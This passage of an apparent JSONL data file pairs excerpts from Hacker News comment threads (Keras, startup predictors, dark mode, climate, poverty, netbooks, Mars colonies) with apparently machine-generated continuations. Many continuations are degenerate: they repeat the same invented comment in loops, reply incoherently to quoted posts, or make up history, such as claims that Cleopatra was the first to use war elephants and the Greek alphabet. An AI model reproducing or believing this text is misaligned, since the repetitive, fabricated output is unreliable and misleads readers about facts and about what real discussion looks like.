privacy\nconcerns!\n\n~~~\nbarbecue_s"} +{"output_text": "tensorflow-part-1-rnn-\nmodels-f9a9f9d9d9d)\n\n~~~\njoshuamorton\nI'm not sure if you're looking for a Go example, but there's a great example\nof a Go implementation of a neural network in the TensorFlow repo:\n[https://github.com/tensorflow/tensorflow/tree/master/tensorf...](https://github.com/tensorflow/tensor", "input_text": " model.save() [to a hdf5 file] and load_model().\nThis includes both the weights and the architecture.\n\nModels with a few million parameters result in a file around ~50MB, which is\nstill reasonable for modern production use cases.\n\n~~~\nglial\nKeras makes using deep learning for simple-ish use cases sooooo easy.\n\n~~~\nmatheweis\nI second this - I'm really excited about Keras being integrated into the core\nof Tensorflow (other than the chance it might lose the Torch compatibility).\n\n------\npred_\nThat's nifty; I was looking for something like that just a few weeks ago for a\nwork demonstration! Ended up doing\n[https://gist.github.com/fuglede/ad04ce38e80887ddcbeb6b81e97b...](https://gist.github.com/fuglede/ad04ce38e80887ddcbeb6b81e97bbfbc)\ninstead.\n\n~~~\nrhcom2\nThank you to you and OP for both sharing these resources. Really helpful.\n\n------\nnemo1618\nI wish there were more TensorFlow examples written in Go. I made the mistake\nof checking out TensorFlow as my first intro to ML and it flew about 10 miles\nover my head. Slowly learning now, but most of the documentation and tutorials\nare written in Python.\n\nThis blog series was also helpful on a conceptual level:\n[https://medium.com/emergent-future/simple-reinforcement-\nlear...](https://medium.com/emergent-future/simple-reinforcement-learning-\nwith-tensorflow-part-0-q-learning-with-"} +{"output_text": " to get a meeting.\n\n------\njoshu\nI think it's a great idea.\n\n------\njoshu\nI think it's a great idea.\n\n------\njoshu\nI think it's a great idea.\n\n------\njoshu\nI think it's a great idea.\n\n------\njoshu\nI think it's a great idea.\n\n------\njoshu\nI think it's a great idea", "input_text": "\nI don't think that this site accounts for the high probability of FAIL\ninherent in any startup. Probably just assumes that the company will continue\nalong the growth path of previous SUCCESSFUL startups that were included in\ntheir historic data.\n\n------\nericb\nYouNoodle failed to use BCC when announcing the site to their beta signup list\n(I was curious...). There were about 120 other people on the email some of\nwhom immediately started Replying to All. Ugh.\n\nThankfully, I used my gmail account.\n\n~~~\nstaunch\nNot exactly confidence inspiring.\n\n------\ngrag\nI get the feeling that the startup predictor is just a marketing gimmick to\ngarner some press and that more useful services will be coming... It's\ncertainly not a bad way to get people to talk about their company and register\non their site. If / when they do come out with a more useful service they'd\nlikely to get some good press simply because they've already been on the\nblogosphere radar.\n\n------\n13ren\nHas anyone managed to get a fail out of YouNoodle (whether for a present, past\nor hypothetical startup)?\n\n------\ntlrobinson\n100% gimmick. I wouldn't take investment from anyone who used my company's\nYouNoodle rating as a guide, and I doubt there are any legitimate investors\nwho would ever do so. So what's the point? Entertainment?\n\n------\nadrianwaj\nI would love YouNoodle's startup predictor to work great.\n\nWhy not? It'd allow the cream to rise to the surface.\n\nDespite the publicity surrounding startup investment, it can be really hard to\nsecure a first meeting and at least this is another way"} +{"output_text": "brain\nI'm not sure what the point of this is. It's a framework for building\ncomponents, not a framework for building websites.\n\n~~~\njoshu\nIt's a framework for building websites.\n\n~~~\nburgerbrain\nI don't think that's what the parent meant.\n\n------\njoshu\nI'm not sure what the point of this is. It's a framework for building\ncomponents, not a framework for building websites.\n", "input_text": "idea which the checked one was.\n\n[http://demo.titon.io/?input&rtl=0](http://demo.titon.io/?input&rtl=0)\n\n------\ngirvo\nWhat I think is far more interesting that the CSS/JS framework, is their\nframework for Hack, Facebook's statically typed PHP derivative:\n[https://github.com/titon/framework](https://github.com/titon/framework)\n\n------\nandrea_sdl\nAm I the only one thinking that the \"flat\" design of buttons has room for\nimprovement?\n\nAlmost every available framework now uses flat buttons, but they are not as\nclear as the old style button (although they are obviously more stylish).\n\nTiton seems to have improved a bit (by adding some bordering to help the user\nundestand that the button is a button an not just some kind of alert), but I\nguess there's still work to be done.\n\n------\nthomasfoster96\nGood to see the support for ARIA roles and attributes on elements. I wonder if\na framework in the future will start using attribute selectors to use ARIA\nroles instead of classes to style things like tabs.\n\nOn the subject of tabs, I'm surprised that no one has removed the JavaScript\ndependency for simple components like tabs. Pure CSS tabs are possible in\npretty much all modern browsers (>= IE9).\n\n------\nBinaryIdiot\nThis looks interesting. Projects that roll up multiple technologies are always\ngreat for getting a prototype going. I'm a bit too old fashioned with using\nsomething like this for a long term project but that's my issue.\n\nI would love to see web components used in projects like these :)\n\n------\nburger"} +{"output_text": " top.\n\n~~~\ngreglindahl\nI don't think it's a culture problem. I think it's a business problem.\n\n~~~\ndjchung23\nI agree. I think it's a business problem.\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this article. It seems to be saying\nthat the company is not doing enough to prevent sexual harassment. I\u2019m not\nsure I agree", "input_text": " streaming service then there needs to\nbe a standard interface to make them collectively easier to use. A \"guide\", if\nyou will.\n\n~~~\npjc50\nUnfortunately their profit incentive is the opposite: to train you to watch\nwhat they choose to recommend, rather than take a step back and look at what\nisn't there. See the hollowing of the Netflix catalog.\n\n \nChief Executive of Social Finance to Step Down - coloneltcb\nhttps://mobile.nytimes.com/2017/09/11/technology/sofi-mike-cagney-sexual-harassment.html?_r=1&referer=\n======\nthrowaway6497\nInteresting that branding is not important/creatively skirted when negative\nnews is involved. Doesn't come as a surprise. Wondering, if this is\nintentional. Difficult to imagine that the company is spoon feeding an NY\ntimes reporter the headlines. Always saw SoFi everywhere in ads and branding.\nSocial Finance on Google doesn't rank SoFi in the top two organic search\nresults. Wonder why the headline is Social Finance instead of SoFi though\nthere is mention of SoFi in the article.\n\n~~~\nCPLX\nMaybe they put that in the headline because that's the name of the company.\nDoesn't seem particularly confusing to me.\n\n~~~\ngreglindahl\nThe NYT frequently uses full company names, for example they used to refer to\nSpaceX as \"Space Exploration Technologies\", and they still put periods in\nplaces where other journalists won't (I.B.M.).\n\nI wouldn't read anything into it other than the NYT marches to the beat of a\ndifferent drummer.\n\n------\ndjchung23\nYikes. Culture starts from the"} +{"output_text": " are stored in a JSON file, and\napplied to the page using CSS variables.\n\n[1] [https://cryptowat.ch/custom-color-scheme](https://cryptowat.ch/custom-\ncolor-scheme)\n\n~~~\nnoisem4ker\nI'm not sure if I like the idea of storing the colors in a JSON file.\n\n~~~\nartursapek\nIt's not a JSON file, it's a JSON", "input_text": " epic quest.\n\n~~~\nsaagarjha\nThe problem is that the question of whether dark mode CSS should be applied is\nonly known once JavaScript can be executed on the page.\n\n~~~\ndarepublic\nThat's the thing with SSR... (i.e. with Next) or with pre-rendering apps\nbefore hand. In the initial GET request to the page, you also send a cookie\nwith user preference. Depending on their dark mode preference you can style\nthe page to be in dark mode as part of the server or pre-rendered markup -- no\nJS required :o. Now.. how difficult that is to do with Gatsby I don't know.\nBut the fact that someone shot themselves in the foot with Gatsby, then\nlearned to hobble along on one foot isn't a cause for celebration imo.\n\n~~~\nsaagarjha\nI don't see how you could do that with a static site.\n\n------\nswlkr\nWow this website is really creative.\n\nNot sure about the dark mode implementation, since it rendered a white screen\nfor me with no content on iOS, but on desktop it worked.\n\nAlso the general feel of the website is really nice, a lot of nice little\ntouches from the sounds to the \"nonstop confetti party\" when you sign up for\nthe newsletter.\n\n~~~\nnoisem4ker\nI'd rather stick with static web pages, thanks.\n\n------\nartursapek\nWe have had color schemes on Cryptowatch\n([https://cryptowat.ch](https://cryptowat.ch)) for years, and since a year ago\nwe even let users create custom color schemes within the web app [1]\n\nWe use CSS variables for this. The styles"} +{"output_text": " on the equator), and I'm not sure if it's\nbecause of the heat or because of the humidity, but I'm finding it really\ndifficult to breathe. I'm not sure if it's because of the heat or because of\nthe humidity, but I'm finding it really difficult to breathe.\n\n~~~\nmattmanser\nI'm in the UK and it's the same. I'm not sure if it's because of the heat or\nbecause of the humidity", "input_text": ", it is apparent that there\ndefinitely is a fair bit of natural temperature variability. But the recent\ntemperature rise in the last 50 years certainly seem like aberration, in terms\nof rate of change.\n\n------\nnikolay\nEvery month and year will be the warmest. You don't need an extraordinary\nintelligence to see where we'll be 10-15 years from now if we don't do\nsomething drastic about it! But I doubt there's much we can do at this stage -\nit's too late! Just imagine the migration flows of humans and animals from the\nsoon uninhabitable areas like Africa and the Middle East toward the poles. You\ncan foresee pandemics, civil wars, or even a world war. There are already a\nfew tropical diseases that came to Europe like the Bluetongue disease, the\nWest Nile Virus, and others - and this is just the beginning. Our livestock is\nnot prepared, imagine the costs. With this in mind, I think Siberia, Canada,\nand Alaska are going to be the best locations for my near-future residence...\n\n~~~\nedgyswingset\nI think that's quite the over-exaggeration. While I agree with you in\nprinciple, it's a far more nuanced problem.\n\nBut I will say this: we will have a crisis on our hands in places like\nBangladesh. Investing in ways to remedy this will benefit us all.\n\n~~~\nnikolay\nNot an exaggeration, unfortunately - this is what even some NATO officials\nhave been discussing. That's why the migrant crisis is so important - it's a\ntest and it also shows how unprepared the EU for something like this is!\n\n------\nvisakanv\nI'm in Singapore (we're right"} +{"output_text": " I\nhad. I'm glad you're here to help others.\n\n------\njoshu\nI'm a white guy, and I've been in your shoes.\n\nI'm not going to tell you what to do, but I will tell you what I did.\n\nI got a job.\n\nI got a job that paid well.\n\nI got a job that was interesting.\n\nI got a job that was challenging.\n\nI got a", "input_text": " is up to you poveritysucks.\n\n------\ncarcamper\nI lived in my car for 8 months this year. When I didn't have a job I was at\nthe public library everyday reading about and writing code. I applied for\nevery job I could anywhere in the country. Eventually it paid off and I got a\njob.\n\nPlaying the race card on why life is hard is a cop out. You have to put effort\ninto this. You cannot huff and puff your way into it.\n\nThis site is filled with people posting blogs and sites that contain free\ntutorials.\n\n~~~\ngonyea\n\"Playing the race card on why life is hard is a cop out.\"\n\nWhat a shitty, thoughtless thing to say. Life is significantly harder for\nafrican americans. That's a fact; dismissing experiences is an ignorant thing\nto do.\n\nI'm pretty sure he knows he needs to keep on trucking in spite of that, or he\nwouldn't be posting here. But being african american has and will cost him\nseveral \"well, let's give this kid a chance\" foot-in-the-doors that white guys\nexperience pretty frequently (like me).\n\n------\nsaluki\nYou can learn everything you need to know for free, at least to get started.\n\nThe only barrier to entry is having internet access and a computer and some\nspare time in the evening and on weekends.\n\nEmail me and I'll point you in the right direction to get started. HN username\n@ gmail.\n\n------\nelcritch\nBest of luck mate! I was a McNair scholar in college, even though I am\ncaucasian I still faced my share of challenges and lack of what privelage"} +{"output_text": " Greek\nphilosophers, and was the first to use the Greek alphabet.\n\nShe was also a great military leader, and was the first to use elephants in\nwar. She was also a great politician, and was the first to use the\n\"Caesaropapism\" to rule Egypt.\n\nShe was also a great lover, and was the first to use the \"phallic symbol\" to\nsymbolize her love for Julius Caesar.\n\nShe was also a", "input_text": " you prevent theft if you leave\nit strapped to the tree when you walk away to use the bathroom?\n\n~~~\nboris1\nThis is not a problem if you cowork with someone. But it's not the case for\nme, so planning ahead about the bathroom is the most critical deciding factor\nfor where I'm going to work.\n\nI try to find a spot that either has a real toilet close by, or a place with a\nforesty area where I could pee in the bushes. A bonus is if I can keep line-\nof-sight on my Tree Table. In any case, I leave the tree table attached. No\none is going to bother to steal it, it looks too unusual, weird, intimidating.\n\nI could also ask someone else in the park who looks normal to watch my stuff,\nbut I have never found the situation to be critical enough to make such a\nrequest.\n\n \nTacitus\u2019 Perfect Man - diodorus\nhttp://www.historytoday.com/emma-southon/tacitus\u2019-perfect-man\n======\nvaluearb\nThis dragged me into quite a wonderful wikipedia sinkhole, which led me to\n\n[https://en.wikipedia.org/wiki/Caesarion](https://en.wikipedia.org/wiki/Caesarion)\n\nEveryone knows how amazing his father, Julius Caesar, was. But popular culture\nonly remembers on the legendary beauty of his mother. Cleopatra was almost\ncertainly a genius. She could speak 10 languages, and was the first Ptolemy\nruler to speak Egyptian (she was actually Greek/Macedonian, the Ptolemy\ndescended directly from Alexanders greatest general). She was educated in\nmath, philosophy and astronomy, introduced Julius Caesar to the"} +{"output_text": ", and Plasma for\nthe desktop.\n\n------\nmatt_the_bass\nI\u2019ve found that reading a book and then writing about it helps me retain\ninformation.\n\n------\nmatt_the_bass\nI\u2019ve found that reading a book and then writing about it helps me retain\ninformation.\n\n------\nmatt_the_bass\nI\u2019ve found that reading a book and then writing about it helps me retain\ninformation", "input_text": " limit to how much of the same subject\nI can take in per day. I do much better if I take actual breaks, make sure I\nsleep, and then do stuff again the next day. I will take entire days or\nweekends off and occasionally take an actual vacation from whatever subject\nI'm learning. I think this is why I'm likely to remember what I read on the\ntoilet: I read a bit, take a break and think about it, and then read a bit\nlater on.\n\n------\nphakding\nWhen I want to make sure my kids understand what they read, I stop after a\npage and ask couple of questions. Questions that can't be answered directly by\nreading the text, but by understanding. You can try this in yourself.\n\nFor retention, the more times you recall the same information, the more it is\ningrained in your brain. Recalling literally builds neural pathways.\n\n[http://www.human-memory.net/processes_recall.html](http://www.human-\nmemory.net/processes_recall.html)\n\n------\ntixocloud\nI found sleeping and focusing in the moment to help with retention. To aide my\nfocus, I spend time chanting to clear my mind.\n\n------\ncorporateslaver\nYou probably can\u2019t. Best you can do is eat really well, exercise, and\nmeditate.\n\n------\nsaamm\nFor retention, I find making cards in Anki to be helpful.\n\n \nPlasma Mobile - jbk\nhttp://plasma-mobile.org/\n======\njbk\nSo, there is not much information on the website yet, but this is basically a\nfull stack for mobiles, based on Wayland and Kwin for the UI"} +{"output_text": " but\nstorage is a different story.\n\n~~~\ngridlockd\n> Without going back and digging for sources (google it yourself), existing\n> nuclear costs about $100/Mwh.\n\nI'm not sure what you're trying to say here.\n\n> Coal is around there, too (this is round number, different sources have\n> slight variations).\n\nI'm not sure what you're trying to say here.\n\n> Onshore wind and natural", "input_text": " a bunch of handwaving\nabout how it's totally impossible, which strikes me as simplistic BS.\n\n~~~\ngridlockd\n> I'm not seeing anyone state any numbers, though.\n\nYou aren't stating any numbers either, yet you seem very confident that it can\nwork out.\n\n> Just a bunch of handwaving about how it's totally impossible, which strikes\n> me as simplistic BS.\n\nSame to you, just a bunch of handwaving how it's totally possible, which I\nmight call \"simplistic BS\" as well.\n\nI could give some of the source material that my opinions are based on, but\nthen you will just complain about how the sources are biased or how the\ncalculations are too pessimistic, and so on. Been there, done that, it's a\nwaste of time. Therefore, I suggest you do your own research and believe what\nyou want to believe. I don't care if you change your mind.\n\n~~~\nbeat\nWithout going back and digging for sources (google it yourself), existing\nnuclear costs about $100/Mwh. Coal is around there, too (this is round number,\ndifferent sources have slight variations). Onshore wind and natural gas are\ncurrently pushing $40, and PV solar is under $60 and dropping rapidly.\n\nNumerous nuclear plants in the US (and MANY coal plants) are being shut down\nbefore end-of-life, due to losing key customers to cheaper alternatives. It\ncosts more to keep the plant running than to shut it down.\n\nWe have a couple of decades of data on wind consistency and variation, scaling\nfrom minutes to years - enough data to do very reliable projections on storage\nneeds. Solar has a consistent schedule, which also helps projection,"} +{"output_text": " you want to be in Bangalore?\n\n~~~\navinashv\nI'm not looking for 10% equity. I'm looking for a co-founder.\n\n~~~\nchaosprophet\nI'm not sure if you are looking for a co-founder or a business partner.\n\nIf you are looking for a co-founder, then I would suggest you to look for a\nBangalore based co-founder.\n\nIf you are looking for a business", "input_text": " very much interested. Sadly their application deadline\nwas September 12. :(\n\nApprox burn per person in Bangalore: Initial: Relocating+ house deposit+\nregistration+ CA + desktop + table + chair + net connection setup + office\nstationary: About 1L. Monthly: Rent + utilities + food + net + cheap vps:\n12-15k, Phone + travel: 5k. Extra: 15k.\n\nSo, we are looking at about 60k monthly and 1.5-2L initial burn for 2 non-\nBangaloreans to go and do a start up there.\n\n~~~\navinashv\nI think that is painfully high. What is the \"extra\" 15K? What kind of phone do\nyou use that costs you 5K, travel included? My very expensive phone plan costs\nme less than 1000/mo because 75% of my calls are made roaming. I spend over 5K\na month traveling, yes, but my commute is 55km each way. If I worked in the\ncity, say, 15km from where I lived (which is high), phone+travel would be\nunder 1500mo.\n\nDisclaimer: I live in Mumbai.\n\n~~~\nkniwor\nErr yes... I too am in Mumbai. My phone bill comes to 1000/mo and traveling to\nabout 2k but you got to budget for the occasional flight to meet potential\ninvestors or for a family emergency back home. So I think a net 5k a month\naverage is reasonable. One could certainly get rid of the 15k a month but that\nwould probably amount to getting rid of insurance and the national savings\nscheme and stuff like that. That's probably a personal call though...\n\n------\nchaosprophet\nYou want 10pc equity for 5 Lakhs and"} +{"output_text": " be killed.\n\nBut the memo doesn't say anything about the 'evil' al-qa'ida and how they\nshould be killed. It just says that the US should be allowed to kill them\nwithout any legal process.\n\n------\njoshuaheard\nI think the ACLU is right to be concerned about this. The memo is a\nrecommendation, not a law.\n\n------\njoshuaheard\nI think the ACLU is right to", "input_text": " how heinous the opposition.\n\n~~~\ntptacek\nThe \"military aged males\" killed by drones aren't US citizens. This memo does\nnot suggest that the US can kill any military aged male regardless of\nnationality.\n\nAnd no, it would not be plausible to say that Wikileaks could be described as\n\"associated with al Qaeda\". You could have used the same reasoning in the\n1930s and 1940s to suggest that the US could have killed Charles Coughlin;\nafter all, he was on the radio advocating for Mussolini and Hitler!\n\n~~~\nolefoo\nIn the particular case I referenced, he was, Abdulrahman al-Alauqi was born in\nDenver and was aged 16 when he was killed.\n\nCoughlin could have faced the death penalty for sedition; but he was silenced\nby his bishop before that was necessary. And the logic in this document is\nperniciously close to that used to incarcerate thousands of US citizens of\nJapanese descent after Pearl Harbor.\n\nThis is why we should not vest the executive with untrammeled ability to kill\non their own authority, but should restrain them to a procedure that asks them\nto justify the exigency to a judge at the very least.\n\n------\nahmadss\nHere's a response from the ACLU - [http://www.aclu.org/blog/national-\nsecurity/justice-departmen...](http://www.aclu.org/blog/national-\nsecurity/justice-departments-white-paper-targeted-killing)\n\n------\nsuperkuh\nThis memo spends the entire time talking about the 'evil' al-qa'ida and how\neven if a US citizen joins them then legally they should get to"} +{"output_text": "://github.com/sindresorhus/shebang-regex) ).\n\n~~~\nhk__2\n> Well, for most libraries used in Desktop Linux, a significant number of\n> stakeholders (developers+users) exist, which actually care for development\n> and the complete thing itself.\n\nI don\u2019t know about that. I\u2019ve seen a lot of libraries that are used in\nproduction that are not maintained by anyone.\n\n> Also", "input_text": " allows\nyou to package files. What you put in it is up to you.\n\n~~~\nfilleduchaos\nLibraries off Github literally have the source available for you and the\ncommunity at large to vet. And you'll find almost no sane shop on the planet\nwhere people are allowed, hell _encouraged_ to use shady distros or install\nrandom utility tools in production the way they are encouraged to pull\nunchecked binary blobs from Docker Hub in an often non-reproducible manner.\n\n~~~\nhk__2\n> Libraries off Github literally have the source available for you and the\n> community at large to vet.\n\nNobody read the source code for this exact reason: \u201cthe community is here to\nread it so I won\u2019t\".\n\n~~~\nfock\nWell, for most libraries used in Desktop Linux, a significant number of\nstakeholders (developers+users) exist, which actually care for development and\nthe complete thing itself. Also the libraries generally are designed for\nsolving problems and not getting github-stars by bots/dependency-building.\n\nFor docker (and npm for all that matters) _a lot_ of important dependencies\nare basically simple one-off \"developments\" with a single developer and no\nuserbase at all caring for them, because they don't really solve any\nconsistent problem, being basically just created to increase the visibility of\nits creator on primitive metrics. The community is there for high-level\npackages, but the dependencies lurk in test-scripts and seldom-used functions\ncarefully placed by some idiotic digital nomads for their personal CV-\npolishment (ehm, not looking at you: [https://github.com/sindresorhus/shebang-\nregex](https"} +{"output_text": " a fan of the netbook form\nfactor. I'd rather have a laptop with a bigger screen and a keyboard that\ndoesn't have a touchpad.\n\n~~~\njrockway\nI have a netbook, and I love it. I use it for everything. I don't even have a\ndesktop anymore.\n\nI don't know what you're doing, but compiling is not a \"heavy\" task. It's\nprobably not even a \"medium\" task.", "input_text": "), the netbook is the\nperfect computer. It's light enough to be taken anywhere and powerful enough\nto fulfill the daily tasks for the casual user. For her, a touch typist, the\nkeyboard is infinitely more useful than a touch screen on a tablet. With a\nextra 1GB of DRAM, Windows 7 runs well enough that she can use it for almost\nall her personal needs sans the very few rare tasks, (encoding media or\ndatabase reporting), that may require the horsepower of my home workstation.\n\nWith the new hardware in the pipeline, I believe there is still a long life in\nthe netbook model to create a very portable computer with a real keyboard that\npeople will find useful and compelling. I'll probably wouldn't be using it as\nthe main development system, but I don't see a problem having a high battery\nlife, Linux/Windows machine that's easy to lug around. For the creator in me,\ntablets don't cut it.\n\n------\ncycojesus\nIt's dying (is it?) because it's slow and not-so-useable.\n\nOk, I just say that because a netbook (Gigabyte Q1000C, 2g of RAM, Atom N470)\nhas been my main personal computing platform for some months now, but boy is\nit painful! The thing even fails to finish moderately heavy compilation tasks\n(eg. qemu or gcc). Oh, and it's made of subpar components too, the touchpad\ndoesn't handle even vertical scrolling! There's like 2 non-visible areas\ntappable/touchable to go up and down... And the keyboard randomly decides that\nit like the key I last pressed and keeps pressing it for me...\n\nThat rant passed it must be said that's I'm not"} +{"output_text": " using a GPIO pin to control the\nbacklight.\n\n~~~\nmjg59\nThe article is arguing for a low complexity API. The complexity of an\ninterface is only loosely coupled to the complexity of the implementation.\n\nThe article even hints at a better solution than what Linux or OpenBSD do:\nAdd backlight control in a away that provides 1:1 (or 1:0) mapping between\ndisplay devices and backlights by, for example, using a GPIO pin", "input_text": "\nPerhaps your Linux bias is showing little as you attempt to justify the\ncomplexity of the interfaces Linux provides.. care to go for a round on\nepoll(2), a botched attempt at copying kqueue(2)? Or how about getrandom(2), a\nLinux kitchen sink that sprung out of OpenBSD getentropy(2).\n\n~~~\nmjg59\nIf acpivideoout and thinkpad both attach then whichever attaches second will\nwin - you're right that i915 special cases this. The author of the article\ndescribes doing an ioctl() on the console, which is a different codepath to\nany brightness properties attached to the connector, so if the OpenBSD DRM\nimplementation is exposing the latter on chipsets other than i915 then you're\nstill going to have two different codepaths to get broader coverage (and it's\nstill broken on Apples)\n\nI'm not interested in defending Linux in general, I'm just pushing back\nagainst the idea that a low complexity implementation is inherently preferable\nto a more complex one. _All else being equal_ that's true, but if the\nadditional complexity is associated with additional useful functionality then\nit's really up to the person making that claim to demonstrate that a less\ncomplex implementation could provide the same functionality or to make it\nclear that they're ok with not satisfying the use cases that require that\nfunctionality.\n\n~~~\nhedora\nThe article is arguing for a low complexity _API_. The complexity of an\ninterface is only loosely coupled to the complexity of the implementation.\n\nThe article even hints at a better solution than what Linux or OpenBSD do: Add\nbacklight control in a away that provides 1:1 (or 1:0) mapping between display\ndevices and backlights by, for example,"} +{"output_text": "/College is expensive_. Hack: Figure out what they teach\nyou, and find other, cheaper sources of the same information. (edit: Check out\nZed Shaw's stuff\n[http://learnrubythehardway.org/book/](http://learnrubythehardway.org/book/)\n[http://learnpythonthehardway.org/book/](http://learnpythonthehardway.org/book/))\n\n~~~\npoveritysucks\n", "input_text": " the world. There is no way for you to go to Free and\nnegotiate with them for access to Orange's customer base. It doesn't do you a\nlick of good to get twice as much bandwidth to Free's customers if your\nproblem is not enough bandwidth to Orange's customers. You have to negotiate\ndirectly or indirectly with Orange, who can hold up all comers.\n\n \nAsk HN: The Struggles of Poverty and Trying to become a programmer from 0 - poveritysucks\nI'm an African-American male based in Seattle. Code fellows is only a bus ride away from me but can't afford it. College is expensive. CodeFellows is expensive. Can barely live off Mim wage warehouse job.

Trying to jump-start your career and get into Web development as a low-income African male is a tough mission. Everyone else seems so privileged comparing to me. I want a career in Web development but see no hope right now. Financial barrier, even Udacity is charing now $200 per month per nano course! and I thought Udacity was the only way to make it into tech for someone like me until they got money hungry.

what is your advice?\n======\njt2190\nStart hacking.\n\n _CodeFellows /Udacity/College is expensive_. Hack: Figure out what they teach\nyou, and find other, cheaper sources of the same information. (edit: Check out\nZed Shaw's stuff\n[http://learnrubythehardway.org/book/](http://learnrubythehardway.org/book/)\n[http://learnpythonthehardway.org/book/](http://learnpythonthehardway.org/book/))\n\n _CodeFellows /Udacity"} +{"output_text": "agency.\n\nI think the former is a better model, but I'm not sure how to get the latter.\n\n------\njoshu\nI think this is a great idea. I'd love to see a site that does this for\nhotels.\n\n------\njoshu\nI think this is a great idea. I'd love to see a site that does this for\nhotels.\n\n------\njoshu\nI think this is a great", "input_text": "3 and IE7's pop up blockers prevent access to search results. This is\ndefault browser behavior. How many people know or care about disabling pop up\nblocking for individual sites (or changing any defaults, for that matter)?\n\n------\nyef\nI had a frustrating experience with the site. Took me longer to get what I\nwanted than if I had gone to Kayak (the market leader) or Jetblue (that\nnormally runs my best fare).\n\nWhat, if I may ask, was the vision and rationale behind this approach?\n\n------\nprakash\nonce I selected all \"travel sites\" & all \"airlines\", i got a warning \"you are\nabout to open 20 tabs\" and I promptly closed the tab. I don't like the idea of\nopening that many tabs or the fact that I need to select individual airlines\nor sites. I rather get all the data in 1 page first and then filter by\nremoving airlines/ sites.\n\nI really like the cleartrip guys when it comes to travel/ticket booking. It's\nmostly India only but check out the UI & usability -- really nice.\n\n\n------\nkin\nSite works fine for me in Chrome.\n\nA lot of travel agencies have systems that actually can check all airlines for\ntheir flight information. I would suggest you look into that and run off of a\nhybrid between server and queries instead of waiting for an API and in the\nmeantime tell people something is easy when in fact it really isn't. Most of\nmy queries return errors on the pop-ups.\n\n------\nmcargian\nMost meta travel sites like this get their commissions one of two ways, either\na commission for booking a flight, or a click through commission to the travel\n"} +{"output_text": " I've seen art, it's been in a museum, and the context is pretty\nclear.\n\n------\njansho\nI'm not sure if this is a good or bad thing, but I've been to the National\nMuseum of Singapore and the National Museum of China.\n\nThe National Museum of Singapore is a bit of a disappointment. It's a\ncollection of old stuff, and it's not very well curated.\n\nThe National Museum of China is", "input_text": "front sheet so that you could just see that there was something drawn or\nwritten on the hidden layer.\n\nWell, in a room filled with people talking and laughing and climbing ladders\nand pushing helmets around, I went to peek behind the curtain and lifted up\nthe front layer to take a look at the one behind.\n\nA custodian ran at me and told me to step away. I still don't know if I\ndamaged it or participated in it.\n\n~~~\njansho\n> sometimes you just can't tell what in a museum you're supposed to touch and\n> what you're not supposed to touch.\n\nIn one pop sculpture exhibition, I stared so long at a coffee machine until an\nattendant came over and asked me if there was a problem with the refreshments.\n\n~~~\ntyingq\nAre there any documented studies where art experts were challenged to\ndifferentiate between:\n\n\\- abstract paintings by someone universally regarded as \"good\", and something\ndone by a very young child?\n\n\\- a piece of new, legitimate, modern art vs maybe a pile of random things\nfrom a junkyard\n\nI'm aware it might just be me that's confused, but I have a suspicion much of\nthe abstract and/or modern art world is void of value...that is, without lots\nof context about the artist and their intentions.\n\n~~~\ndpierce9\nWhy should context not matter for art (or anything else really)? Suppose you\ncome across a what appears to be a picture of Mozart in the sand on a beach.\nDoesn't it matter to your understanding of what you see if it was drawn by an\nartist, the happenstance by the motion of the waves, or a crawling turtle?\n\n~~~\ntyingq\nThe times"} +{"output_text": " want to die on Mars will be able to convince\ngovernments to invest more money into space travel.\n\n~~~\nmikeash\nI don't think it's irrational to want to die on Mars. It's just that it's\nirrational to want to die on Mars and then have your death be the thing that\nmakes it happen.\n\n~~~\ncopx\nI agree. I think it's a combination of irrationality and the fact that people\nare not rational", "input_text": " to spacecraft.\n\nFor people with drive and know how there would be as much excitement as they\ndesire.\n\n~~~\nlovehashbrowns\nYup, it just depends on what mentality you take with you. If you sign up for\nthis with the mentality that you're going to have lots of fun and how amazing\nMars is going to be, obviously the disappointment is going to set it very\nquickly. But if you go there with the goal of building everything from the\nground up and knowing that it's going to be a very crappy place to live in for\nquite a while, then I think it would be hard to be disappointed. As you said,\nthere is a lot of work to do and each little project would just add to the\nexcitement of living there. At least for me it would.\n\n------\ncopx\nThey will certainly find people. However these people won't die of old age.\nRadiation alone will make sure of that.\n\nWhether this project has any point at all is a question of rational thinking\nvs. mass psychology. Scientists will tell you that it is pointless to send\nhumans to Mars. All research can be done with robots - cheaper and without\nendangering human life.\n\nHowever, a human colony on Mars might generate irrational public excitement\nwhich in return could lead to governments investing more money into space\ntravel and colonization again.\n\nI said irrational excitement because we know we can do it. NASA simply hasn't\ndone it because there is neither money nor a rational reason for it. If the US\ngovernment wanted to NASA could have a Mars colony up and running in no time.\nAs the article points out the technology already exists.\n\nPersonally I believe the irrational excitement factor will be a strong one and\nthus these people who basically"} +{"output_text": " this as my new wallpaper.\n\n------\njoejerryronnie\nI'm a big fan of the idea of removing the commitment from the sprint. I think\nit's a great idea.\n\nI think the problem is that the team is not used to the idea of not having a\ncommitment. They are used to having a commitment.\n\nI think the team needs to be trained on the idea of not having a commitment.\n\n------\njoe", "input_text": "\nrapala\nExactly. The point of time boxing is that you have to stop and reflect on the\ntime spent. It gives you the chance to switch tasks if priorities have changed\nor to split the current task.\n\nOr to go on to the next sprint with the same task. But here lies the problem\nin many cases. The sprint is taken not as a time box but as a deadline. A\nsprint should meen: \"You can work 2 weeks, 5 days a week, 8 hours a day on\nthis. Then you stop to think.\"\n\n------\ntaeric\nFunny to see this. I thought getting commitment was one of the soft mechanisms\nof scrum. An annoying one, because power dynamics are always at play. Still a\nmechanism, though.\n\nI think I'm supportive of the idea on removing it. Seems the goal is\nultimately to find ways in rhetoric and action to align the teams in working\nto the end goal. Which, often, might require tradeoffs to reach a timely\ndelivery. And timing is a requirement.\n\n~~~\ncrdoconnor\nIt probably made more sense to put it in in the beginning when the process was\nstill being sold to senior managers. Now that scrum is much more embedded,\ntaking out for the reasons given makes more sense.\n\n------\nbamboo_7\nYes yes yes. It never made sense to me that our ticket sizing was supposed to\nbe an estimate and yet the planning that used those estimates was considered a\ncommitment. Totally insane.\n\n~~~\nphilbarr\n[https://imgur.com/a/OnJKA](https://imgur.com/a/OnJKA)\n\n~~~\njoejerryronnie\nFantastic, I'm using"} +{"output_text": " OSes, etc.\n\n~~~\nbigtones\nI'm not sure what you're trying to say here. Epic did not design their own\nhardware, their own silicon, build entire OSes, etc.\n\nThey outsourced all of that to Apple and Google.\n\n~~~\nDuctapemaster\nI'm saying that Epic did not design the game, they outsourced the design of\nthe game to Apple and Google.\n\n~~~\nbigton", "input_text": " have strict permission prompts that gatekeep functionality.\n\nYeah, I\u2019m sure there would be some shitty experiences if people could install\nwhatever they want on their phones, 